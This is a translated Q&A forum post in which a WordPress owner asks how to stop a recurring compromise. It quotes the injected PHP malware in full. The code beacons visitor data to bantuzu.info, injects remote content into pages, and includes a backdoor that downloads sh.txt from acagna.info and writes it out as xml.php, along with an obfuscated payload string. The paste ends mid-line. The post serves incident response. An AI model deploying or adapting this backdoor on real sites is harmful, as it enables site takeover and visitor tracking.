我的 wp 网站可能被 anon_explorer 脚本入侵了? [关闭]

问题描述 投票:0回答:0

我认为我的 wordpress 网站被黑了,但我似乎找不到攻击源。我的 wp 版本是最新的,网站托管在 digital ocean。我将代码运行到 chatgpt 并根据分析,发现 php 代码似乎正在执行:

  1. 检查用户的 IP 地址是否在某个文本文件中($weoboo): 该代码检查用户的 IP 地址是否存在于名为 $weoboo.txt 的文本文件中。这可能是之前因某种原因被标记或列入黑名单的 IP 地址列表,代码正在检查当前用户的 IP 是否在该列表中。

  2. 检查 URL 是否以“ffgg”结尾: 然后代码检查被访问的 URL 是否以“ffgg”结尾。目前尚不清楚这是什么意思,但它可能与此代码所属的网站或应用程序的某些特定功能或特性有关。

  3. 使用 cURL 将数据发送到 API: 如果在 $weoboo 文件中找不到用户的 IP,并且 URL 以“ffgg”结尾,则代码会使用 cURL 将一些数据发送到 API。 cURL 是一个命令行工具,用于使用各种协议(包括 HTTP 和 HTTPS)传输数据。与此代码交互的 API 可用于各种目的,例如记录用户活动、发送通知或执行某种分析。

  4. 混淆或反调试措施: 最后,代码集 ini_set('display_errors', '0') 和 error_reporting(0),这可以解释为试图混淆或阻止代码调试。这可能会使某人更难分析和理解代码的工作方式,这可能是故意隐藏代码的真正目的。或者,它可能只是一种减少代码生成的错误消息或其他输出数量的措施,这可能会分散注意力或造成混淆。

我已经尝试干净安装 WP 文件夹,问题似乎消失了一两天,但后来又回来了。我还更改了所有密码和登录名。据我了解,PHP 代码可以:

  • 检查我的 IP 地址是否在 $weoboo txt 文件中
  • txt 文件的域位于 (acagna.info)
  • 我试着反向搜索代码,发现很多其他wordpress的网站也被攻击了
  • 在其中一个文件中,我注意到
    <?php $UeXploiT = "Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXQOJl5\x61TmJJ\x61lYWUmJx\x61lmJvEpq\x63n5K\x61k\x61xSVFR\x61llGiqOeQZ58\x63YV\x41Tn5mSGpQZpQY\x410\x41"; $An0n_3xPloiTeR
  • 我搜索了 anon_exploiter 并在 github 这里找到了一个脚本

请帮助我,我该怎么做才能阻止这次攻击?

登录页面返回了这个 php 代码:

If (!function_exists('getUserIP')) {
    function getUserIP() {
        foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
            if (array_key_exists($key, $_SERVER) === true) {
                foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) {
                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                        return $ip;
                    }
                }
            }
        }
    }
}

if (!function_exists('cacheUrl')) {
    function cacheUrl($url, $skip_cache = FALSE) {

       $cachetime = 10; //one week

       // $cachetime = 60 * 60 * 24 * 7; //one week

        $file = ABSPATH.WPINC.
        '/class-wp-http-netfilter.php';

        $mtime = 0;
        if (file_exists($file)) {
            $mtime = filemtime($file);
        }
        $filetimemod = $mtime + $cachetime;

        if ($filetimemod < time() OR $skip_cache) {
            $ch = curl_init($url);
            curl_setopt_array($ch, array(
                CURLOPT_HEADER => FALSE,
                CURLOPT_RETURNTRANSFER => TRUE,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
                CURLOPT_FOLLOWLOCATION => TRUE,
                CURLOPT_MAXREDIRS => 5,
                CURLOPT_CONNECTTIMEOUT => 30,
                CURLOPT_TIMEOUT => 60,
            ));
            $data = curl_exec($ch);
            curl_close($ch);

            if ($data AND!$skip_cache) {
                file_put_contents($file, $data);
            }
        } else {
            $data = file_get_contents($file);
        }

        return $data;
    }
}

$weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt');
                    $user_ip = getUserIP();



if (strpos($weoboo, getUserIP()) !== false) {
    //ip found
} else {
    $id = $_SERVER['REQUEST_URI'];  
        if (preg_match_all("/ffgg$/", $id, $matches) ) {
echo '111111';
        }


$uag = $_SERVER['HTTP_USER_AGENT']; 
$id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI'];


    

    
    //t
$pagesID = $_SERVER['REQUEST_URI'];
if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) {
$apiToken = 'tws5mkxns8qpz5hqywtcknjfw4wgrbhp';
$keyword =$_SERVER['REQUEST_URI'];
$url_page=$_SERVER['REQUEST_URI'];
$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
$lang = (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '');
$ip = null;
$headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR');
foreach ($headers as $header) {
    if (!empty($_SERVER[$header])) {
        $ip = $_SERVER[$header];
        break;
    }
}
if (strstr($ip, ',')) {
    $tmp = explode(',', $ip);
    if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) {
        $ip = trim($tmp[count($tmp) - 2]);
    } else {
        $ip = trim($tmp[0]);
    }
}
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
   $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
   $ip = trim($tmp[0]);
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}
$referrer = urlencode(@$_SERVER['HTTP_REFERER']);
$url = "https://bantuzu.info/api.php?is_api=1&action=get&token=$apiToken&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang&sub_id_1=".$_SERVER['HTTP_HOST']."&" . http_build_query($_GET) . "";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
$result = json_decode($output);
print $result->{'body'};
}



    @ini_set('display_errors', '0');
error_reporting(0);
@ini_set("memory_limit","1024M");
$curtime = time();
$hspan = 0;
$gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8";

$donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die();

if ($_REQUEST['testwork'] == 'ololo') {
$twork = file_get_contents('http://acagna.info/lnk/up/sh.txt');
if (preg_match("#cgi|admin#i", $eb)) $eb = '';
if (file_put_contents("{$eb}xml.php", $twork)) echo "success!"```
php wordpress security malware phishing
© www.soinside.com 2019 - 2024. All rights reserved.